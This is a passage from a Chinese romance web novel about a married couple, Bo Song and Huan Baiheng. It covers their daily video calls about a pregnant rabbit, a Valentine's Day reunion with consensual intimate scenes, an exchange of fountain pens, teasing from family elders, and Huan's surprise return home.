他这边警告完小兔子,空旷的客厅里响起动静,桓柏蘅打来的视频,薄淞也顾不得手不那么干净,立刻点了接通。 这段时间,他们每天都会视频。 桓柏蘅今天不太满意,因为开屏就是硕大的兔脑袋,嫌弃的后仰,“拿开。” 嗓音冷淡,“我不看它。” 兔子被移开,露出薄淞的脸,几分狼狈,额前几缕头发湿漉,面颊和鼻尖更是有不明脏物。 桓柏蘅扫了眼。 薄淞盯着屏幕,丝毫没注意到自己模样,全然在桓柏蘅身上,他们今天开视频时间比较晚,桓柏蘅回去洗过澡,穿着浴袍,裸露领口,十分性感。 “今天要看它肚子吗?” “嗯。” 小灰兔不满的在薄淞手里扑腾,愤恨为什么沦为了人类play的一环。 这两个人类不实诚,想打视频就打啊,拿它一个小动物当借口干嘛? 可惜兔子不能说话,只能被翻过来,薄淞不好意思地安抚摸了摸小兔脑袋。 他刚才觉得,桓柏蘅似乎不太想看兔子了,可看兔子的话,他们就能自然而然的每天拥有打视频的机会。 不看兔子的话,得两天一次。 他希望同兔子可以争点气,卖卖萌可爱一些,而不是搞得现在脏兮兮的。 “今天是跑出去玩了,才会弄脏的。”薄淞解释 桓柏蘅应了句,“是挺脏的。” 他看着薄淞说的。 薄淞听出一丝带着笑意的嫌弃,只以为是错觉,因为桓柏蘅好像没那么喜欢兔子。 唯一一次的评价,是知道兔子很能生之后的,说挺厉害。 他接着给兔子擦毛。 小兔腿踢蹬着。 桓柏蘅看了一阵,开口,“不擦会死吗?” 薄淞愣住一会。 “不是说你。”桓柏蘅纠正话里歧义,“它,这只兔子,不擦会不会死。” 灰兔:“” “不知道。”薄淞诚实道,他也没想过死不死的问题,“还是擦干净吧,兔子本来就有些怕水,天气又冷,感冒生病就不好了,她还怀着宝宝。” 薄淞照顾兔子周到,每天给木屋铺干燥的草,晚上离开前,会给兔子穿上暖和的衣服,成天围着兔子转,桓柏蘅不爽很久了,可薄淞照顾的挺开心。 桓柏蘅看着灯光下眉眼柔和的人,薄淞耐心地一点点给灰兔擦身体,尾巴上的球擦了四五遍。 “你看,她现在是不是好多了。” 薄淞总算擦完,手指拨着毛衣,给桓柏蘅看再次变得蓬松的兔子。 “嗯。”桓柏蘅说,“挺可爱的。” “是吧。她本来就长得很好,你仔细看她” “我没说兔子。”话语被打断,桓柏蘅视线穿透屏幕,直直落在薄淞身上,“我说的是你。” “脸跟花猫一样。” 薄淞才慢慢明白过来,切换了自己的大屏,发现满脸的脏污。 他刚才是这副模样和桓柏蘅说话的? 薄淞整张脸涌上尴尬的红。 他胡乱抬手去擦,视线飘忽,下秒,定格,瞳眸一点点放大,在镜头里桓柏蘅偏了偏脑袋,眼尾微弯,唇角勾起了点浅淡弧度。 是第一次,薄淞看桓柏蘅这样的笑。 没有揶揄也不是嘲讽。 只是在笑。 很温柔。 于是他又一次,心动不已。 第42章 情人节一天天临近。 各大品牌相应上市节日专属礼盒, 巨大广告投屏在商业街随处可见。 薄淞下班路上,看见许多回。 他纠结很多天了,对于给桓柏蘅送礼这件事。 特殊节日总不能两手空空, 可给桓柏蘅买礼物太难, 桓柏蘅什么都不缺,又有极其强烈的自我风格。 为了避免再次送到桓柏蘅不喜欢的, 薄淞选择询问。 桓柏蘅的答案很是敷衍。 “随便。” 薄淞能理解,他希望桓柏蘅能大概说一个, 或是提示和方向,被一句“你是不是记恨我上次丢你礼物”砸的哑口无言,他说“没有”。 桓柏蘅还是生气了一整天。 薄淞就不敢再提。 然后第二天,收到桓柏蘅消息,桓柏蘅被提醒了情人节送礼的事, 转头问他喜欢什么? 薄淞每次想到这, 总哭笑不得于怎么能有人把“区别对待”做的这么明显还脸不红心不跳,甚至于能发点脾气。 最后他还是配合的提起,这段时间希望拥有一个香薰机, 放在公司的休息室。 礼物当天下午就被送到。 桓柏蘅要求他再想一个。 所以薄淞不止需要想桓柏蘅的,还需要想自己的,当然,前者更难。 忽然他觉得,情人节这个节日也挺难过好的,难怪先前有朋友一到情人节就焦虑严重。 薄淞现在也有点倾向。 最后礼物敲定在出发前一天,林序淮陪他在商场挑的,装进薄淞携带的行李箱里。 这次情人节时间在周五,薄淞定的周五下午的飞机,差不多晚上六点落地安江, 能赶上节日,也能周末多留两天- 第二天薄淞打算从公司直接出发,临走前,去后院看了眼灰兔。 小灰兔懒洋洋晒太阳,脑袋被摸了两下,才撩起眼睛瞧了人类一眼,大脑袋接着枕在前腿上。 “我走了。” 薄淞摸摸它,小灰兔不理,薄淞也习惯了,他偶尔感觉这只兔子和桓柏蘅有些像,心情好的时候撒娇粘人,犯懒或是心情不悦就不搭理人。 不过兔子还是好哄很多,薄淞拿了根胡萝卜,小灰兔动动耳朵就有精神。 薄淞不打扰它继续晒太阳,起身离开,这两天阿姨会时不时过来照顾,喂一日三餐。 因为兔子吃起来不知道饱,平常胡萝卜都是要放高处的。 薄淞走到后院口,发现身后有动静,小灰兔蹦蹦跳跳送他,他再次挥了挥手,才关上后院的门。 其实薄淞一直有想养宠物的想法,很早就有,只是工作忙实在没空,结婚后更觉得不合适,桓柏蘅不喜欢猫狗。 所以自己送上门的兔子,很好的弥补他想要只宠物的需求。 下午,薄淞提早一小时去了机场。 起飞时,城市在视野里越来越小,等升到上空,便再也看不清了,只剩云团绵软,静静漂浮着。 薄淞拉上挡板,闭眼。 机舱安静,唯余胸腔传来强烈不止的跃动,期待着目的地,更期待目的地会有的人- 薄淞没想到,会在停车场看到桓柏蘅。 桓柏蘅并没说要来接他。 以至于第一眼,他怔愣许久,人已经到跟前。 熟悉的语调,并不多热情。 “愣着干嘛?” 桓柏蘅弯腰拿过他手里行李箱,滚轮咕噜转了两圈,薄淞脚步才跟上去。 上车时桓柏蘅问了句。 “吃了吗?” 薄淞先摇头,又点了下头,“吃过飞机餐,不饿。” 原本不想吃的,可薄淞想着这个点,桓柏蘅应该吃了饭,他就不想再浪费时间在吃饭这种事情上,飞机上才随便对付了两口。 “直接回酒店?” “好。” 桓柏蘅定位酒店位置,不过二十分钟车程。 过了机场大道,驶进市中心,热闹的人气扑面而来,情人节,情侣们逛街约会,节日氛围浓重。 桓柏蘅在花店停下,对薄淞说等会。 几分钟后,不出意外,薄淞收到了人生第一束正式的玫瑰花,花太大了,占据了整个副驾驶,薄淞挤在花堆里。 红玫瑰。 衬得薄淞素净的面颊润着莹莹光亮,和眼底喜悦羞赧。 桓柏蘅看了两秒,启动车子往酒店开去,。 “谢谢。”薄淞反应过来后,道谢。 桓柏蘅直视前方,很淡的鼻音“嗯”了一声。 “” 见面前,薄淞设想过会是什么场景,不该是这会这么冷淡,以至于他会觉得是不是他做了什么惹桓柏蘅不快。 可想起昨天电话里,桓柏蘅该是高兴他过来的语气,又特地来接他,薄淞说服自己不乱想。 就是太久没见,况且他自己也有几分不自然。 视频里什么都能说,见面他连长久的直视都不大好意思。 薄淞轻轻呼出口气,车子再次停下。 距离酒店还有九分钟车程。 桓柏蘅转过头,神情再看是几分严肃,薄淞捧着花不自觉腰背正了些,听人说。 “你真的不要逛逛街或者吃点东西,直接回酒店?” 桓柏蘅想,情人节约会是必要的,他也不是就图薄淞的也图,可他不想让薄淞觉得,来找他一趟,就是上床。 本来也不是。 都是成年人,桓柏蘅这么问,薄淞不至于不懂,于是摇头表示不饿时,答案就太明显。 桓柏蘅转回去,踩下油门。 四分钟后,他们到达酒店,桓柏蘅没开进停车库,熄火在旁边,解开安全带,“等我一会。” 薄淞这次不知道他要去买什么,只点了点头,抱着玫瑰花,仰着脑袋,模样看起来很乖。 桓柏蘅下车动作顿了下。 薄淞最后跟他一块去的,两人往进口超市过去,桓柏蘅取了个篮子,买了些水,和袋装面包。 “还要什么吗?”桓柏蘅问。 薄淞拿了块情人节限定包装的巧克力,放进框里。 最后两人绕过一排排生活用品,至角落一整排的货架前,情趣用品专区。 薄淞脚步稍顿了下。 桓柏蘅抬手取下货架中间层的byt时,他松了口气,起码不是那些乱七八糟的东西,只松下来的口气,下秒又提起。 桓柏蘅把一整排型号尺寸的,全扫进了框里。 “” 他动手扫下一排时,似觉得不妥当,扭头,垂眸,“你喜欢哪个味道?” “这个吧。” 薄淞强装镇定,随手指了个,哪怕他觉得脚底站着的地面都隐隐发烫。 因为周遭目光。 超市在市中心位置加上又是情人节,人流量大,两人养眼,进来就吸引无数目光,最后再是桓柏蘅“横扫”的架势。 怎么可能不被盯上。 薄淞耳尖泛红,看到一旁犹豫上前的小情侣时,才想拦一拦,起码也给别人一点机会,桓柏蘅动作这回却突然中途停住,然后薄淞看着他,把框里一盒盒重新摆放回货架上。 薄淞困惑,见人转过头。 “我们不需要那么多,是吧。” 疑问的句子问出确定的语气,薄淞想起答应对方的事,硬着头皮点了下脑袋。 桓柏蘅改为把底下一排润/滑扫进框里,薄淞已经不敢抬头,以及,他真觉得自己凶多吉少了今晚。 好在临走前,思考了会的人,还是把byt装了些。 以备不时之需。 “” 薄淞走出超市时,以为刚才一幕,该是他人生最尴尬时刻。 却没想到,还有更尴尬的。 电梯门开,叶叔跨步进来时,见着他微微一愣。 薄淞也同样怔愣。 过年的时候有拜访过的长辈,而前些年也见过几面。 “来找柏蘅啊。”叶叔笑笑,“今天是什么,情人节对吧。” “是。”薄淞回答。 “第一次来安江,让柏蘅带你出去转转,新街口那边热闹,餐厅也多,你们年轻人就爱这些,一会可以” 叶叔热情的介绍止在视线无意瞥到桓柏蘅右手透明塑料袋中颜色鲜艳的盒子上,中文广告语格外醒目。 小夫妻关系好,过情人节,这是大好事,他还想一会跟老爷子报喜的,只是这是不是有点过了。 一时间他被冲击厉害。 薄淞则是在叶叔话语顿下时几分疑惑,而顺着人视线望去有几秒的脑袋空白。 袋子是刚才超市的,因为缺了黑色,询问他们是否可以用普通袋子,桓柏蘅无所谓,也就装上了,当然,这会他也无所谓。 尴尬的三人里不包括他,。 电梯里一时间静的吓人,中途偏巧没人上来,直升楼层。 他们下去,脚步成了长廊里唯一动静,叶叔停在房间门前,深吸口气,最后也只提醒两字。 “节制。” 年轻人也要节制点啊。 他寻思着得跟两家长辈好好聊聊,没眼再看,推门进去。 “” 桓柏蘅房间在长廊尽头,和叶叔隔着很远。 薄淞没从刚才的情绪中回魂,直至手心被塞进房卡。 “备用的,下次来可以直接进去。” 耳边桓柏蘅的声音响起,手被握住,房卡“嘀”的一声,门往里开了。 桓柏蘅拉他进去,力道有些大。 门在身后关上,挡住最后一丝光亮,黑暗扑面而来,下秒薄淞被推到门板,黑暗中的人掰过他的下巴。 这一刻,桓柏蘅才显露出从见面到现在都未曾有的急切。 唇齿相触,扫过口腔每一寸位置,掠夺呼吸。 吻开始很凶,可中途温柔下来,舌尖交缠在一起,分开。 桓柏蘅退出了些距离,薄淞才睁眼,眼底茫然,他没意料到这个吻如此短暂,可很不同,此刻说不出具体感受,只是桓柏蘅再次靠近的时候,鼻尖同他轻轻抵住。 “…” 薄淞眼眶很突然地泛红,对桓柏蘅的“戒断”比想象中难上一万倍,多思念只有他心里清楚,却也无法提及,怕显得矫情。 可这一瞬的温存,哪怕桓柏蘅什么都没说,他似乎感知到桓柏蘅一样的心意。 我想你了。 桓柏蘅能懂,和他一样,就不是矫情。 薄淞再压抑不住,眼睫颤动着,抬手环上桓柏蘅脖颈,第一次不是单方面的被侵略。 他吻过去,生涩的探索,连带着把热烈的情感,思念,爱慕,一并传达给对方。 窗外绚烂光影透入,两人身影重叠,难舍难分。 第43章 薄淞裸//露的背脊抵在浴室冰冷瓷砖上, 被冻得一激灵。 下秒腰间覆上滚、烫手心,桓柏蘅把他往怀里搂紧,相贴的身体传来源源不断的热意。 衣物凌乱丢了一地。 薄淞被扣住下巴, 强迫性接受让他几近窒息的吻, 水声淋淋漓漓,他们湿漉不堪。 桓柏蘅的手碰过这, 碰过那,带来燎原般的热意, 薄淞也同样渴望对方,胡乱攀着肩膀,绷紧的腹部肌肉得到耳边一声闷/哼,伴随着喑/哑压抑的嗓音。 “好摸吗?” 耳垂猛地一疼,雾气潮湿的眼睛又蒙了一层湿漉。 桓柏蘅把胡乱撩拨的手攥紧, 又抓过薄淞另外一只, 桎梏在身体上方,警告想要乱动的人安分。 薄淞不习惯这样被全然束缚的姿势,难受只一动, 后臀被轻轻拍了下。 他羞耻闭眼,紧咬的唇被吻上,舌尖分开唇瓣,桓柏蘅探进去,手又揉了揉因为拍打微微泛红的皮肤,疼痛渐消之际,加大力道揉捏。 “舒服吗?”吻落在胸口。 “不。”薄淞的嗓音沙哑。 大概是有些生气的回答,桓柏蘅喜闻乐见,他在人耳边轻语。 “有更舒服的,要不要?” 问的要不要, 却也不打算真让薄淞回答,桓柏蘅退开些距离,在薄淞放大的瞳眸中,在人跟前缓缓蹲下 薄淞身体猛地一颤后,柔软,双腿支撑不住力气,沿着瓷壁滑落,被桓柏蘅揽进怀里,热水冲刷而下。 沐浴露冰冷湿滑,淡淡的香味萦绕在鼻尖,薄淞攀住桓柏蘅肩头,听人耳边低语。 问他爽吗。 不止是身体的,心理上的冲击让薄淞久久未能回神,因为桓柏蘅愿意低头在他跟前,为他做这种事。 桓柏蘅也不恼他不回应,吻细细密密落着,感受余韵后对方的颤抖,指尖沾了湿凉液体,沿着薄淞脊椎骨一点点往下 怀里的人抱得更紧了些- 桓柏蘅抱着薄淞,从浴室出来,走出卧室门时,薄淞睁开熏红的眼睛。 “去哪?”身体紧绷,尾音隐隐哭腔未散。 桓柏蘅亲一口在人眼尾,“客厅,帘子拉着。” 薄淞抓紧他的力道松开,被桓柏蘅掂了掂,“也没比我矮多少,怎么抱着这么轻?” “没有。” 薄淞埋进人怀里,视线黑暗,唯余胸腔传来的震动清晰,桓柏蘅轻笑,符合他,“行吧,你一点都不轻,最沉了。” ………………………… 薄淞沉下来的重量被进入到极致,有一瞬间他没了意识,直到听见走廊细密声响,和交谈的动静。 越来越近。 猛地清醒。 后背贴着门板,全身的重量仅仅依靠桓柏蘅的双臂支撑。 未开口的话被堵住,唇舌压下来,连带着堵回的声音……………………。 薄淞快疯了。 漫长的折磨。 指尖在肩头抓住数道红痕,他被迫仰起脆弱的脖颈,汗湿的双腿几乎攀不住………………面颊一片潮湿水迹。 门外声音仍在。 桓柏蘅才吻去他脸上泪水,声音带着戏谑笑意,“又不是偷/情。”他温柔而缓慢动作,“放轻松点,没人抓你。”- 客厅被折腾的一团糟,沙发嘎吱响了很久。 薄淞才重新被带回卧室里。 已经是夜里两点。 桓柏蘅从衣柜里取出T恤,回到床前,薄淞抬手遮着眼睛,胸口仍在起伏,他把人拉起,湿漉的一双眼睛。 忍了很久,他还是把那句“不是你说想哭的”忍回去。 这种时候还是不要刺激。 他给人把T恤套好,才说,“我开灯了。” 薄淞鼻子轻轻吸了一下,才能说出话,“内裤。” “行李在车上,穿我的?" 比起什么也不穿,薄淞点了点头,桓柏蘅给他拿了条,在人跟前蹲下,窗帘仅开了很小的一条缝,光线透进来仍旧很暗,薄淞身体在黑暗中白的发光。 小腿很细,脚踝微微凸起,这处很怕痒,桓柏蘅握住,引导薄淞把腿伸进去,又把人扶着抱起,半强迫给人穿上,才开了灯。 灯光亮起,照清房间布局。 卧室的床因为没被折腾过,还整洁干净,床头放着薄淞的围巾。 “有几次很想你,闻着你的味道弄过。” 桓柏蘅声音很淡响起,算是解释,薄淞眼睫用力颤了下,指尖抓出了被单一片褶皱。 桓柏蘅出了门,又进来,拎回被丢在客厅的袋子。 他翻出几个面包,掰开,喂给薄淞。 “太晚了,点餐很慢。”桓柏蘅等人张口,咽下去,才喂过去第二块,被薄淞舌头轻轻碰到,眼神暗了下。 “自己吃可以吗?”他说。 总得给人吃饭休息时间,可要是薄淞再碰到几次,,,桓柏蘅拧开水,灌了几口,平息燥热,才把剩下的水递过去。 薄淞从下飞机就没喝过一口水,足足喝了半瓶,才缓解过来。 气氛一时间很安静,可也很温馨。 薄淞第一次在床上吃东西,穿着桓柏蘅的T恤,身体是侧坐着,因为不敢坐下去,有些疼胀,露出长而细腻的腿部皮肤。 桓柏蘅也给自己简单套了身,和他腿抵着。 “明天带你吃好吃的。” 薄淞啃着面包,坐在床上安静一口口吃着,桓柏蘅见着,难得愧疚,大老远过来,一顿正经饭没吃,还乖乖地把长长的腿张开。 是第三次在沙发上时,薄淞很努力完成承诺。 “嗯。”薄淞点头,把手里的面包整个吃下去,就不要了。 他起码晚上吃了饭,桓柏蘅没吃。原本订好的餐厅,早就发来过时取消预定的短信,他拆开第二个干涩的面包,不嫌弃难吃的口感,吃相优雅。 薄淞从床上撑起点身体,打开了瓶新的水,递过去。 “不干吗?” 桓柏蘅接过,很干,继续解决面包。 他们聊起来,聊各自生活,聊家里的点点滴滴变化,院子里什么花开了,什么花谢了,玻璃房里堆满了胡萝卜,和小灰兔的生产日期。 琐碎而细微的事情,讲起来却不觉枯燥,听的人也耐心,他们对视一眼。 桓柏蘅说,“想回家了。” 他第一次,有迫切想回去一个地方的念头,家里有人等他。 薄淞心口软的一塌糊涂,“还有一个多月,就可以回去了。” 这时间说出来,他自己都觉漫长。 “会来看我吧,房卡都给你了。”桓柏蘅说完,又补了句,“下次来也可以不做。” 他只是想要薄淞过来而已,不是奔着zuo//爱。 “好。”薄淞怕他反悔,连忙答应。 桓柏蘅加了句,“我这边有假,也可以回去看你。” 怎么会还没分开,就开始思念。 气氛再这么下去有点奇怪,桓柏蘅收拾面包袋子,起身要去丢掉的时候,胳膊被抓了一下。 他偏过头,唇角按上温温热热的指腹,抹去面包屑,他同薄淞眼神对上。 薄淞指尖颤了下,把手收回。 中途被抓住。 桓柏蘅看着他,一点点俯身凑近,在他唇角轻轻吻了下。 “” 灯光再次暗下- 薄淞没觉得一晚这么漫长,睡过去前,隐约天光亮起。 他被搂进宽厚的胸膛。 再醒来,已经是黄昏了,地板透着一抹金灿,颈处密密麻麻的亲吻泛起异常痒意,他还迷糊着被转过身体,桓柏蘅从身后靠近。 沉沉浮浮,无尽荒唐- 直至周日下午,薄淞才终于踏出房间门。 桓柏蘅带他去说好的餐厅。 电梯下去一路,他紧张的不行,怕再碰到叶叔,好在有惊无险,坐进车子里,才呼出口气。 因为穿的太严实,闷热,把围巾解开。 他看了眼后座的玫瑰,仍旧鲜红,那天没带上去,连带着行李箱,他穿了桓柏蘅的衣服,里里外外都是。 “累的话睡会,到了喊你。”桓柏蘅开出车库,看人眼睛眯了眯。 “嗯。” 薄淞是有些困,轻答一声,打算休息会。 他在酒店床上没能好好睡觉,车子颠簸中来了困意,思考起是不是因为年纪大了,次数频繁就容易虚,又畏冷的抓过围巾,蒙在眼睛上挡着- 耳边欢闹明显,薄淞睁眼醒来。 外头的天色隐隐暗下。 “醒了?”桓柏蘅声音传来。 薄淞才意识到车椅是平放的状态,身上盖了件外套,他茫然坐起,“几点” 询问的话语在车载显示屏上的数字跃入眼底时,怔愣。 他睡了整整三小时。 “不早不晚,够我们吃个晚饭。”桓柏蘅收了手机,回答。 薄淞一觉睡太久。 桓柏蘅陪着,三个小时没打扰,这一事实让薄淞反应好长一阵,他觉得抱歉,可开口的抱歉又在先前桓柏蘅明确的表示中咽了回去。 不喜欢他说抱歉。 他跟着桓柏蘅进餐厅。 他们定的包间,环境清雅。 菜色很丰盛,特地嘱咐过的清淡,避开海鲜一类发物。 薄淞动筷子前,桓柏蘅试了试他额头的温度。 是这两天里重复的动作。 他们在浴室里那次,没带t,结束后桓柏蘅就有帮薄淞清理,之后几次,有戴也有不戴,没弄进去。 桓柏蘅还是谨慎小心,主要是两人的第一次后,他看了太多事后的参考“文献”留了阴影。 薄淞坐着,不动,配合的让他试温度。 等人收回手时,开口。 “如果难受的话,我会说的。” 薄淞大概还是困意未消,话语声也软绵绵的,可眼睛在灯光下,很亮,少了以往的躲闪,多了很多像是信任和安心的亲近。 桓柏蘅往他碗里夹了块西蓝花。 “好。 第44章 情人节的礼物, 当天两个人都忘了。 回去的时候,薄淞才记得把礼物取出来,包装精致, 送给桓柏蘅。 “这次我会好好收着。” 桓柏蘅作出承诺, 他打开,和上次不同的心情, 里面装着一支钢笔,通体冰凉, 粗细适中,握在手里是舒适的大小,出水也流畅,薄淞当天店里试过。 “签署纸质文件可以用,随身携带也方便。” 这次送的比较日常, 和胸针不一样, 宴会总不能天天办,可签文件每天都要,桓柏蘅每天都可以看见, 看见就会想起他。 薄淞既是送实用的,不可否认也用了点小心思。 只是桓柏蘅看着钢笔,半天没一点回应,让薄淞有那么几秒怀疑,是不是又送错了。 “你,不喜欢吗?”他还是问。 “没有。”桓柏蘅回神,挑眉,“就觉得我们还挺心有灵犀的。” 他从床头抽屉拿出送薄淞的礼物,同一个品牌的钢笔,醒目的logo让薄淞愣了下。 和他送对方的不是一个款式, 可相同的位置,有一串字母印刻。 是他的字母缩写。 “我好像落了两颗心。” 薄淞送的钢笔除了桓柏蘅首字母的缩写外,后面跟了个图案,一颗大的心和小的心,错了些位置,小心在大心的上面,像是趴着的姿势,明明只是图案,却能给人一种憨态可掬感觉。 “我很喜欢的。” 薄淞觉得自己手里的更珍贵一些,同时有点感动于这次桓柏蘅有注意到这些小细节,心是他画的,店里负责印上去。 他希望给桓柏蘅的东西,都能与众不同一点,如果不是时间来不及,他本想买几颗钻镶嵌上去,不过办公用的,太花哨也不好。 “你都送了我三份礼物了。” 薄淞把钢笔小心仔细的收进行李箱里,想起他冲桓柏蘅要了个除湿机,后来又说了个音响,加上钢笔。 “生活用品也能算礼物?你敷衍我别以为我不知道。” “” 薄淞回头,无辜眨了眨眼睛。 桓柏蘅就笑了。 他又笑了。 薄淞随着对方的笑心跳又一次加速,上次是在镜头里,这次直接的冲击让他蹲在行李旁有些无所适从。 桓柏蘅其实很少笑的,大学的时候,薄淞见他面不多,可大多数时候也只能看见他面无表情地站在食堂前,或是等待朋友购买东西,眼底其实也没什么不耐烦薄淞不确定,他大部分看见的是对方的侧脸。 总之桓柏蘅脸上没有表情的时候总显得几分冷漠,和朋友打球的时候不会,大概是太热他不能总闭着嘴,也会露出赢球或是挑衅动作下的少年意气,鲜活许多,可也不笑。 极其稀少的笑脸通常被运用于冷笑,讥笑,或是敷衍的礼貌微笑,这样的笑不达眼底。 不过桓柏蘅也有好好笑过,见过一次,桓柏蘅拍毕业照那次,笑的很好看。 “发什么呆?”桓柏蘅到他面前蹲下,薄淞才反应过来,头发就被伸过来的手扯了扯,对上桓柏蘅有点点不高兴的表情,“叫你半天了。” “哦,没听见。” “跟我讲话你还走神?” “我还有个东西给你,所以刚才想了想。” 薄淞及时制止桓柏蘅可能会发作的小脾气,以及没完没了的追问,因为没办法说,记忆里那些片段,极其稀少的,却可贵的,反反复复在这么多年里,一遍又一遍加深他对面前这个人的爱慕。 人的感情有很多,有的人靠时间的相处,有的人可能信一见钟情。 他从前什么都不信。 后来相信一见钟情,从见桓柏蘅第一眼开始,也相信日久生情,桓柏蘅在他心里住了很久。 “什么?”桓柏蘅看薄淞翻开携带的衣物,从最底下一层,翻出了个黑色盒子,盒子侧边的简笔绘十分可爱。 “你画的?”他这次掂在手上,注意到了。 “嗯。”薄淞说,“你打开看看。” 桓柏蘅本来只是随便打开,却一眼愣住。 “其实没有丢的。”薄淞解释,“没舍得,我想,你不要的话自己收起来也可以的。” 桓柏蘅把那只胸针握在手上,指尖扫过银白色的浪尾胸针还在,另一层意思,就是薄淞不是把不要的东西给他,是在乎的,对方捧给他,只是他之前不懂珍惜罢了,所以连一模一样的盒子,他都没有认出来。 “这次我会收好的。” 他把胸针放回去。 “你”桓柏蘅看着薄淞,想问的挺多,可一时间又不知道怎么问,薄淞送人礼物用心很正常,以薄淞的为人处世,他当时大概是有些恼羞成怒,才会连这点都没想到。 不过以为薄淞丢了是真的,就像他从不觉得薄淞是个没有脾气的人,他不要的东西,对方不至于再收起来。 起码对他而言,他做不到,有失骄傲。 “什么?”薄淞把箱子合上。 “没什么,就是觉得,你是有什么偷偷藏东西的爱好吗?就跟屯粮食的小仓鼠一样?” 很可爱的比喻,薄淞微微不好意思。 “也没藏,当时不能给你。” “我没说这个。”桓柏蘅提醒,“山茶相框。” 薄淞愣了会,意识到他说的什么,心紧了一下。 “阿姨收你东西的时候发我的。” “那段时间闲着无事,想着挺漂亮的,而且你不是说活了一百年的山茶花嘛,很珍贵的,丢了浪费,就想着做的。”薄淞镇定道,“大学的时候其实也做过,我送给过序淮一个。” “” 薄淞确实之前做过,也确实送给林序淮,桓柏蘅心里滋味就有些复杂,仔细想想也情理之中。 学艺术的不都喜欢弄这些,还送给过别人。 “你改天去要回来。”桓柏蘅起来,把盒子放床头柜上,说。 薄淞轻轻“啊”了一声,“不好吧?” “他可能丢了。” “” 说谎话的代价是薄淞站起来,就被扯过去,屁股坐在桓柏蘅大腿上时,他浑身别扭要下去。 薄淞对于自己的年纪有清晰的认知,和某种介于比桓柏蘅长几岁因此很多事情特有的会让觉得抬不起头的臊意。 比如对方训他话的时候,比如喊他乖一点的时候当然,床上羞耻会相应降低一下,平常不大行,还有就是,坐大腿,薄淞觉得小孩才坐大腿。 可他想下去,腰就被拍了下。 “再动就腿分开坐。” “” 薄淞眼睫颤了下,“干嘛呀?” 他一点像是撒娇的语调,其实没这个意思,不过桓柏蘅单方面认为是,就着仰头的姿势亲过去。 薄淞享受亲吻,也变得主动很多,攀上桓柏蘅脖颈。 这次的吻浅尝辄止。 怕一会又收不了场,他们荒唐太多次了。 桓柏蘅松开他,额头和人抵着,试了试温度,才说,“协议应该加一条。” “什么?”薄淞还有些没缓过劲。 “婚后禁止和朋友来往。” “”- 一晚的时间过得太快,第二天,薄淞就要走了。 桓柏蘅送他去的机场。 临别不舍。 为了避免上次的情况发生,这次在车里,他们已经接过吻了。 安检口,薄淞进去前,回头看了两眼。 桓柏蘅目视他离开。 心里其实有微妙的变化,这一次和桓柏蘅见面,好像很多东西不一样,他能注意到桓柏蘅视线总往他身上落,会对他笑,字里行间像是有点小小醋意的意思。 这让薄淞很多时候,会觉得,是不是不存在两个月期限的事,桓柏蘅已经做好了决定,是他。 可犹豫过后,还是没问,既然已经说好,他等得起,而他不可否认的,希望桓柏蘅能把心里彻底收拾干净,他可以完完整整的住进去。 薄淞无奈地笑。 好像越来越贪心。 期限都没到,他就已经想打包入住了- 薄淞回到荣市,给桓柏蘅发了消息。 往公司去。 公司在午休的点,安静,他回了办公室,助理跟进来。 “您后一周的会议要往前提一提,这边周总和您打过招呼,关于下周出差的事,为期六” 薄淞听着助理一长串的话,半天才轻不可闻吐出口气,和人核对起工作日程- 薄淞工作安排紧,出差的缘故,原本计划下周去桓柏蘅那,只好搁浅。 意味着又是大半个月不能见面。 期间,薄淞回了爷爷家,也回了父母家,陪长辈吃饭。 父母说了些话,薄淞觉得不解,心里疑惑,问的和桓柏蘅相处如何。 就算开始他们只是结婚没有感情,可桓柏蘅在他父母这,总是表现得分寸得体,而两人的关系也算是不错。 他爸妈从不会问这样的问题,而这次问完后,又说,新婚夫妻也不要太黏腻,彼此要留点空间,才有新鲜感。 薄淞疑惑着,然后去和爷爷吃饭,爷爷很不对劲。 薄淞和他聊近期项目,老人家品着茶,认真在听,也认真点评指导,等最后讲完,冷不丁来了句. “情人节你去找柏蘅了?” 薄淞半晌回答,:“是。” 主要话题跳跃幅度之快,已经在他心里隐隐约约不好预感。 老爷子憋了有几天,还是说了。 “咳咳,爷爷也懂你们,刚结婚就分开,确实比较思念,不过年轻啊,还是要把握分寸。” 薄淞脸色变了。 老爷子才赶紧说。 “爷爷知道,肯定不是你的问题,柏蘅没分寸,我已经骂过他了,对身体不好,就也不要太频繁。”老爷子既是欣慰两人的感情似乎比以前好了许多,节日都一块过了,可想到薄淞过去,整天整夜都不出门的,又不免担忧,作为长辈该提醒的也得提醒。 “” 薄淞从爷爷家出来,接到桓柏蘅打来的视频。 脸还红着。 “你不舒服?” 镜头里的人隔着好远,薄淞摇头,摸屏幕上人脸。 “没有。” 他只是有点心理冲击太大。 桓柏蘅可以是电话教育,他就变成当面教育了,想到长辈因为他和桓柏蘅那方面的事反正他是觉得挺难为情。 又不好说。 “你怎么现在打给我?”薄淞忽然想起来,这个点桓柏蘅应该还在培训时间点。 “今天提早了。” 桓柏蘅简单带过,问起薄淞出差的事。 “月末回来吧,暂定是六天。” “周日?”桓柏蘅问。 薄淞估算了下时间,不确定道,“可能吧,也不排除和上次一样,得多留两天,提早也不一定,怎么了?” “你上次说家里的兔子预产期是28号吧?” “医生说大概,有可能早两天,也可能晚两天。” 不确定性太高,再说薄淞不能真守着小灰兔生,工作都丢一边,孰轻孰重还是分的清的。 而且到时候会让医生全天陪着,出不了问题。 “行吧,以为你忘了。” “没有,如果生了的话,医生会全程视频记录的,也能看录像。” “知道了。”桓柏蘅看薄淞开车要回去,没多聊,嘱咐人开车小心后,挂断了视频。 第45章 薄淞这次出差很顺利, 原定的计划时间回荣市。 小灰兔还没生,家里的医生发来视频,视频里小灰兔显得几分焦躁, 来回衔草铺窝, 木屋里满是兔毛,它自己薅下来的。 医生表示这是母兔生宝宝前常有的行为, 无须担心。 薄淞当然信任专业的医生,只是回到家, 见着满木屋的毛,小灰兔快把自己薅秃了,还是不由得心疼起小家伙来。 生孩子是挺遭罪。 薄淞询问医生大概多久能生,等到的答案是最晚四个小时,也有可能下秒就生了, 木屋子里小灰兔可怜兮兮地埋着脑迪奥一动不动。 薄淞摸了两下她的耳朵安抚, 见惯了调皮捣蛋的模样,没见过这么虚弱的。 他打算陪伴小灰兔产崽,在旁边等着, 身后脚步靠近,他回头,见到来人,当时表情就空白了。 “还没生?”桓柏蘅往木屋子看了眼,蹙眉,“它不让我靠近,过去就跑。” 兔子怕陌生人的味道,先前从未见过桓柏蘅,这样的反应是正常的,只是薄淞对于桓柏蘅为什么会忽然出现在跟前, 仍觉得不真实,他怀疑自己是不是眼花。 可桓柏蘅很真实,向他靠近。 “要生了。” 